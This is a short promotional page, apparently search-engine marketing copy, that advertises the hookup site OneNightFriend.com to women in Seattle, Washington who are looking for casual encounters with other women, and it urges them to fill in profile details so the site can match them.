If you are looking for a local hookup and want to meet local women then single lesbian dating site, OneNightFriend.com could be the answer you are looking for. Across Seattle, Washington, local women seeking women don't have time to go out looking for a hookup, instead they want to be able to pick up their phone and find someone there and then for quick hookup. They don't want love and romance or to spend weeks or months looking for someone, they want to meet them now. If you want to find single lesbians in your local area then all you need to do is get online and start chatting to potential dates that you can meet for some naughty fun. If you want to meet girls without the hassle of having to go out looking for them then this is the ideal solution
While it is easy to meet lesbian singles on Seattle, Washington and arrange a hookup with website OneNightFriend.com, it is important to ensure that they are the right type. You don't want to meet someone who has nothing at all in common with you or that is not your type at all. Instead you want to find someone that you can get along with and that shares the same type of interests so at least you have something to talk about. Of course, for many women that aren't as interested in talking as having a bit of fun it's still important to make sure that you are on the same wave length. When you sign up to the site, make sure to include information about yourself so that the site can match you with those that are most suited to you.